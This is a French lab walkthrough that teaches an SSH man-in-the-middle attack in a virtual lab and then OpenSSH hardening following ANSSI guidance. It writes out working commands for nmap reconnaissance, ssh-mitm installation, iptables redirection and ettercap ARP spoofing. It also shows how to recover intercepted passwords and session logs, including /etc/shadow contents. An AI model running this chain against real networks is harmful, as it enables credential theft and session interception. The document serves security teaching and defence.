Contexte : ce TP simule une attaque Man-in-the-Middle sur un service SSH via ARP Spoofing, puis met en place les contre-mesures recommandées par l'ANSSI pour durcir OpenSSH.
ssh_host_*_key.pubClés publiques — permissions 644 (lisibles par tous).
sshd_configFichier de configuration principal du serveur SSH.
§3
🔗 Première connexion SSH depuis le client
Validation du fonctionnement SSH — fichier known_hosts
clisshConnexion SSH et gestion de known_hosts
bash — Client (clissh)
# Connexion SSH vers le serveur
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
# À la première connexion :# The authenticity of host 'srvssh.local.sio.fr' can't be established.# ECDSA key fingerprint is SHA256:...# Are you sure you want to continue connecting (yes/no)? yes# Warning: Permanently added '...' to the list of known hosts.# Vérifier la présence de la clé dans known_hosts
etusio@clissh:~$ ssh-keygen-F srvssh.local.sio.fr
# Vider le fichier known_hosts pour les tests suivants
etusio@clissh:~$ echo > ~/.ssh/known_hosts
clissh.png — Première connexion SSH depuis le client
yesAccepte la clé — enregistrée dans ~/.ssh/known_hosts. Les connexions suivantes n'afficheront plus cet avertissement.
ssh-keygen -FVérifie si une clé est déjà enregistrée pour ce serveur dans known_hosts.
echo > known_hostsVide le fichier — le client considérera la prochaine connexion comme une première connexion.
§4
🔍 Reconnaissance — nmap
Découverte des hôtes actifs et des services exposés
KaliScan des hôtes actifs sur le réseau
bash — Kali Linux
# Ping scan — découverte des hôtes actifs
etusio@kali:~$ nmap-sP192.168.56.0/24
🖼️nmap1_kali.png — Scan des hôtes actifsRemplacer par : <img src="Image/tp_mitm_ssh/nmap1_kali.png">
-sPPing scan — liste les hôtes qui répondent. Rapide pour cartographier les machines actives.
KaliScan détaillé des services et versions
bash — Kali Linux
# Scan des services sur le serveur SSH
etusio@kali:~$ nmap-sV192.168.56.10# Scan des services sur le client SSH
etusio@kali:~$ nmap-sV192.168.56.11# Scan des services sur le routeur
etusio@kali:~$ nmap-sV192.168.56.254
🖼️nmap2_kali.png — Scan détaillé des servicesRemplacer par : <img src="Image/tp_mitm_ssh/nmap2_kali.png">
-sVVersion scan — identifie les services, versions (ex : OpenSSH 7.9p1) et OS estimé.
📌
Le scan révèle le port 22/TCP ouvert sur le serveur avec la version d'OpenSSH — information clé pour préparer l'attaque MITM.
§5
📋 Analyse ARP initiale
État des caches ARP avant l'attaque — référence à conserver
clissh + srvsshRelever les associations IP ↔ MAC avant l'attaque
bash — Client et Serveur
# Sur le client
etusio@clissh:~$ ip neigh show# Sur le serveur
etusio@srvssh:~$ ip neigh show
🖼️neigh.png / neigh2.png — Caches ARP avant attaqueRemplacer par : <img src="Image/tp_mitm_ssh/neigh.png">
Associations attendues avant l'attaque :
Machine
IP voisine
→ MAC réelle de
État
Client
192.168.56.10
MAC du serveur
REACHABLE / STALE
Client
192.168.56.254
MAC du routeur
REACHABLE / STALE
Serveur
192.168.56.11
MAC du client
REACHABLE / STALE
Serveur
192.168.56.254
MAC du routeur
REACHABLE / STALE
✅
Les caches sont cohérents — chaque IP correspond à la vraie MAC de la machine. Noter ces valeurs pour les comparer après l'attaque.
§6
⚙️ Installation de ssh-mitm sur Kali
Clonage du dépôt, installation et lancement
KaliCloner le dépôt ssh-mitm depuis GitHub
bash — Kali Linux
# Cloner le dépôt
etusio@kali:~$ git clone https://github.com/ktux/ssh-mitm
🖼️git_clone_kali.png — Clonage du dépôtRemplacer par : <img src="Image/tp_mitm_ssh/git_clone_kali.png">
KaliInstaller ssh-mitm
bash — Kali Linux
# Se placer dans le répertoire cloné
etusio@kali:~$ cd ssh-mitm/
# Définir la langue (obligatoire pour éviter l'erreur de locale)
etusio@kali:~/ssh-mitm$ exportLANG=en_US.utf-8
# Lancer l'installation — accepter AppArmor : y
etusio@kali:~/ssh-mitm$ sudo ./install.sh
export LANG=en_US.utf-8Sans cette variable, l'installeur renvoie une erreur de locale et refuse de continuer.
AppArmor → yAppArmor restreint les droits de sshd_mitm — recommandé pour sécuriser la machine attaquante.
🖼️start_sh_kali.png — Lancement de ssh-mitmRemplacer par : <img src="Image/tp_mitm_ssh/start_sh_kali.png">
Le script start.sh effectue automatiquement :
ip_forward = 1sysctl -w net.ipv4.ip_forward=1 — active le routage IP sur Kali. Indispensable pour retransmettre les paquets interceptés vers le vrai serveur.
iptables PREROUTINGiptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222 — redirige tout trafic TCP port 22 entrant vers le port 2222 local.
sshd_mitm port 2222Faux serveur SSH qui intercepte les connexions, journalise les identifiants, puis les relaie au vrai serveur.
KaliVérifier les services en écoute et les règles iptables
bash — Kali Linux
# Vérifier que ssh-mitm écoute bien sur le port 2222
etusio@kali:~$ ss -ltnp# Vérifier les règles de filtrage et de NAT iptables
etusio@kali:~$ sudo iptables -L
🖼️ss_ltnp_kali.png — Écoute port 2222Remplacer par : <img src="Image/tp_mitm_ssh/ss_ltnp_kali.png">
🖼️iptables_kali.png — Règles iptables activesRemplacer par : <img src="Image/tp_mitm_ssh/iptables_kali.png">
§7
🗡️ Lancement de l'attaque ARP Spoofing
ettercap · Empoisonnement des caches ARP
⚠️
ssh-mitm doit être démarré avant cette étape. Le faux serveur SSH doit déjà écouter sur le port 2222.
KaliEmpoisonner les caches ARP avec ettercap
bash — Kali Linux
# Lancer l'ARP Spoofing entre le serveur et le client
etusio@kali:~/ssh-mitm$ sudo ettercap-i eth0 -T -M arp /192.168.56.10// /192.168.56.11//
-i eth0Interface réseau de Kali (eth0). Les autres VMs utilisent enp0s3.
-TMode texte — sans interface graphique.
-M arpAttaque Man-in-the-Middle par ARP Spoofing.
/192.168.56.10//1ère cible : le serveur SSH — ettercap lui dit que l'IP du client = MAC de Kali.
/192.168.56.11//2ème cible : le client SSH — ettercap lui dit que l'IP du serveur = MAC de Kali.
clissh + srvsshVérifier les caches ARP après empoisonnement
bash — Client et Serveur
# Sur le client
etusio@clissh:~$ ip neigh show# Sur le serveur
etusio@srvssh:~$ ip neigh show
🖼️neigh3.png / neigh4.png — ARP empoisonnéRemplacer par : <img src="Image/tp_mitm_ssh/neigh3.png">
🚨
Après l'attaque, les IPs du serveur ET du client pointent toutes deux vers la MAC de Kali. Tout le trafic SSH transite désormais par l'attaquant.
§8
📡 Capture de trames — Wireshark
Analyse du trafic ARP et SSH intercepté
Kali + clisshLancer Wireshark et analyser les trames
Lancer Wireshark sur Kali (interface eth0) et sur le client (interface enp0s3) — capturer pendant une vingtaine de secondes.
Filtres Wireshark
# Filtre pour les trames ARP (empoisonnement)arp# Filtre pour le trafic ICMP (ping via l'attaquant)icmp# Filtre pour le trafic SSH interceptétcp.port == 22
bash — Client (clissh) — test ping
# Envoyer un ping depuis le client vers le serveur# Les paquets ICMP doivent transiter par Kali
etusio@clissh:~$ ping192.168.56.10
🖼️capture_de_trame1_kali.png — Trames ARP sur KaliRemplacer par : <img src="Image/tp_mitm_ssh/capture_de_trame1_kali.png">
🖼️capture_de_trame2_kali.png — Trames ICMP / SSH via KaliRemplacer par : <img src="Image/tp_mitm_ssh/capture_de_trame2_kali.png">
🖼️DebSSHCli2.png — Capture Wireshark côté clientRemplacer par : <img src="Image/tp_mitm_ssh/DebSSHCli2.png">
📌
Les trames ICMP du client vers le serveur transitent bien par Kali. Les fausses réponses ARP d'ettercap sont visibles — preuve que l'attaque MITM fonctionne.
§9
💀 Exploitation — Capture des identifiants
Connexion SSH depuis le client · ssh-mitm intercepte tout
clisshSe connecter au serveur SSH (victime)
Sur le client, initier une connexion SSH. Elle passe par Kali via ssh-mitm.
bash — Client (clissh)
# Connexion SSH — passe en réalité par Kali
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
# Avertissement clé inconnue → taper : yes# Saisir le mot de passe quand demandé# Une fois connecté, exécuter des commandes sur le serveur
etusio@srvssh:~$ sudo cat /etc/shadow
etusio@srvssh:~$ sudo iptables -L
🖼️clissh.png — Connexion SSH interceptéeRemplacer par : <img src="Image/tp_mitm_ssh/clissh.png">
🖼️iptables2.png — iptables -L sur le serveurRemplacer par : <img src="Image/tp_mitm_ssh/iptables2.png">
📌
L'alerte "The authenticity of host can't be established" indique que ssh-mitm présente sa propre clé à la place du vrai serveur. C'est le signal d'alarme que les utilisateurs ignorent souvent.
§10
📋 Arrêt de l'attaque & analyse des logs
Récupération des identifiants capturés
KaliArrêter ettercap puis ssh-mitm
bash — Kali Linux
# Arrêter ettercap : appuyer sur Q dans le terminal# Arrêter le service ssh-mitm
etusio@kali:~/ssh-mitm$ sudo ./stop.sh
🖼️stop_kali.png — Arrêt de ssh-mitmRemplacer par : <img src="Image/tp_mitm_ssh/stop_kali.png">
KaliRécupérer les identifiants dans auth.log
bash — Kali Linux
# Chercher la ligne contenant le mot de passe intercepté
etusio@kali:~$ sudo grep-ipassword /var/log/auth.log
🖼️grep_kali.png — INTERCEPTED PASSWORD dans auth.logRemplacer par : <img src="Image/tp_mitm_ssh/grep_kali.png">
🚨
La ligne INTERCEPTED PASSWORD contient : l'IP du serveur ciblé, le login (etusio) et le mot de passe saisi en clair.
KaliConsulter la session SSH complète enregistrée
bash — Kali Linux
# Afficher la totalité de la session SSH interceptée
etusio@kali:~$ sudo cat /home/ssh-mitm/shell_session_0.txt
🖼️cat.png — Contenu de shell_session_0.txtRemplacer par : <img src="Image/tp_mitm_ssh/cat.png">
🚨
Ce fichier contient : toutes les commandes tapées, les réponses du serveur, les tentatives sudo, et le contenu des fichiers consultés (ex : /etc/shadow).
§11
🔄 Contre-mesure — Réinitialisation du client
Vider le cache ARP et nettoyer known_hosts
clisshFlush ARP, nettoyage known_hosts et reconnexion
bash — Client (clissh)
# Vider le cache ARP (force la redécouverte des vraies MAC)
etusio@clissh:~$ sudo ip neigh flush all# Supprimer l'ancienne clé SSH du faux serveur dans known_hosts
etusio@clissh:~$ ssh-keygen-f"/home/etusio/.ssh/known_hosts"-R"srvssh.local.sio.fr"# Ou vider manuellement le fichier known_hosts
etusio@clissh:~$ echo > ~/.ssh/known_hosts
# Se reconnecter — la vraie clé du serveur sera présentée
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
🖼️ssh3.png — Alerte REMOTE HOST IDENTIFICATION HAS CHANGEDRemplacer par : <img src="Image/tp_mitm_ssh/ssh3.png">
🖼️ssh.png — Reconnexion au vrai serveur après nettoyageRemplacer par : <img src="Image/tp_mitm_ssh/ssh.png">
🖼️neigh5.png — Cache ARP après flushRemplacer par : <img src="Image/tp_mitm_ssh/neigh5.png">
ip neigh flush allVide le cache ARP — les prochaines communications redécouvriront les vraies adresses MAC.
ssh-keygen -f ... -RSupprime l'entrée du serveur dans known_hosts. Sans ça, SSH refuse la connexion car la clé enregistrée (celle de Kali) diffère de la vraie.
⚠️
L'alerte "REMOTE HOST IDENTIFICATION HAS CHANGED" apparaît si on se connecte sans avoir nettoyé known_hosts — c'est le mécanisme de protection SSH contre les attaques MITM.
§12
🛡️ Partie 3 — Durcissement OpenSSH (ANSSI)
Mise en œuvre des bonnes pratiques · /etc/ssh/sshd_config
📌
Toutes les modifications suivantes sont à effectuer sur le serveur SSH (srvssh) dans /etc/ssh/sshd_config, puis validées avec sudo systemctl restart sshd.
srvsshOuvrir sshd_config
bash — Serveur (srvssh)
etusio@srvssh:~$ sudoedit /etc/ssh/sshd_config
sshd_config10 directives ANSSI à appliquer
Directive (valeur)
Objectif
chmod 600 ssh_host_*_key
Clés privées accessibles en lecture/écriture uniquement par root.
Protocol 2
Forcer SSH version 2. La version 1 est vulnérable.
Port 222
Changer le port d'écoute de 22 vers 222/TCP.
StrictModes yes
SSH vérifie strictement les permissions des fichiers.
PermitRootLogin no
Interdire toute connexion SSH directe avec root.
UsePrivilegeSeparation sandbox
Séparation des privilèges avec bac à sable.
PermitEmptyPasswords no
Interdire la connexion pour les comptes sans mot de passe.
MaxAuthTries 3
Limiter à 3 tentatives d'authentification par connexion.
PrintLastLog yes
Afficher les informations de dernière connexion.
AllowUsers etusio
Autoriser uniquement l'utilisateur etusio à se connecter.
sshd_config — extrait des directives ANSSI
# Protocole SSH version 2 uniquementProtocol2# Port d'écoutePort222# Vérification stricte des permissions des fichiersStrictModesyes# Interdire la connexion rootPermitRootLoginno# Séparation des privilèges avec sandboxUsePrivilegeSeparationsandbox# Interdire les comptes sans mot de passePermitEmptyPasswordsno# Nombre maximum de tentatives d'authentificationMaxAuthTries3# Afficher les informations de dernière connexionPrintLastLogyes# Restreindre l'accès à un seul utilisateurAllowUsersetusio
srvsshCorriger les permissions des clés privées
bash — Serveur (srvssh)
# Vérifier les permissions actuelles
etusio@srvssh:~$ ls -l /etc/ssh/
# Appliquer les permissions correctes sur les clés privées
etusio@srvssh:~$ sudo chmod600 /etc/ssh/ssh_host_rsa_key
etusio@srvssh:~$ sudo chmod600 /etc/ssh/ssh_host_ecdsa_key
etusio@srvssh:~$ sudo chmod600 /etc/ssh/ssh_host_ed25519_key
600 (clé privée)Lecture et écriture pour root uniquement — aucun autre utilisateur ne peut lire la clé.
644 (clé publique .pub)Lecture pour tous, écriture root uniquement.
srvsshRedémarrer et vérifier le service SSH
bash — Serveur (srvssh)
# Redémarrer le service SSH
etusio@srvssh:~$ sudo systemctl restart sshd# Vérifier que le service a bien redémarré
etusio@srvssh:~$ sudo systemctl status sshd
🖼️shh.png — systemctl status sshd après durcissementRemplacer par : <img src="Image/tp_mitm_ssh/shh.png">
⚠️
Après le changement vers le port 222, toutes les connexions SSH depuis le client devront préciser le port : ssh -p 222 etusio@srvssh.local.sio.fr
§13
🔒 Durcissement des algorithmes de chiffrement
État de l'art · KexAlgorithms · Ciphers · MACs
📌
État de l'art : ensemble des meilleures pratiques et algorithmes reconnus par les organismes de sécurité (ANSSI, Mozilla). Les algorithmes dépréciés doivent être explicitement désactivés.
🔑
Principe de Kerckhoffs : la sécurité repose uniquement sur le secret de la clé, pas sur le secret de l'algorithme. Des algorithmes publics, largement étudiés et sans attaque connue sont plus sûrs que la "sécurité par l'obscurité".
srvsshAjouter les algorithmes recommandés dans sshd_config
Ajouter ces lignes dans /etc/ssh/sshd_config :
sshd_config — Algorithmes ANSSI / Mozilla
# Algorithmes d'échange de clés (Key Exchange)KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256
# Algorithmes de chiffrement symétriqueCiphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
# Codes d'authentification de message (MAC)MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com
KexAlgorithmsÉchange de clés. curve25519 et ecdh sont robustes. diffie-hellman-group1 est exclu (vulnérable).
CiphersChiffrement du flux. chacha20-poly1305 et aes-gcm en mode AEAD (authentification intégrée). CBC et RC4 exclus.
MACsIntégrité des messages. Suffixe -etm (Encrypt-then-MAC) recommandé contre les attaques de padding oracle.
srvsshAppliquer les changements
bash — Serveur (srvssh)
etusio@srvssh:~$ sudo systemctl restart sshd
✅
Vérification finale
Tester la connexion et valider la configuration
clisshConnexion SSH sur le port 222
bash — Client (clissh)
# Connexion sur le nouveau port 222
etusio@clissh:~$ ssh-p 222 etusio@srvssh.local.sio.fr
🖼️debSSHCli.png — Connexion SSH port 222 réussieRemplacer par : <img src="Image/tp_mitm_ssh/debSSHCli.png">
srvsshVérifier la configuration effective de sshd
bash — Serveur (srvssh)
# Vérifier les directives et algorithmes actifs
etusio@srvssh:~$ sudo sshd -T | grep -E "kexalgorithms|ciphers|macs|port|permitrootlogin|allowusers|maxauthtries"# Vérifier le statut final du service
etusio@srvssh:~$ sudo systemctl status sshd
sshd -TAffiche la configuration effective après parsing — vérifie que toutes les directives sont bien prises en compte.
🎯
Workflow complet du TP :
1. Tests ping entre les 3 VMs + vérification Internet
2. Vérification du service SSH : systemctl status ssh + ls -l /etc/ssh/
3. Première connexion SSH depuis le client — gestion de known_hosts
4. Reconnaissance réseau : nmap -sP puis nmap -sV
5. Relevé des caches ARP initiaux : ip neigh show
6. Installation ssh-mitm : git clone + install.sh + start.sh
7. Vérification : ss -ltnp (port 2222) + iptables -L
8. ARP Spoofing avec ettercap — vérifier les caches ARP empoisonnés
9. Capture Wireshark (filtre arp, icmp, tcp.port==22)
10. Connexion SSH depuis le client → credentials capturés
11. Arrêt : stop.sh → grep auth.log → cat shell_session_0.txt
12. Réinitialisation client : flush ARP + nettoyer known_hosts
13. Appliquer les 10 directives ANSSI dans sshd_config
14. Durcir les algorithmes (KexAlgorithms, Ciphers, MACs)
15. Redémarrer sshd et vérifier avec sshd -T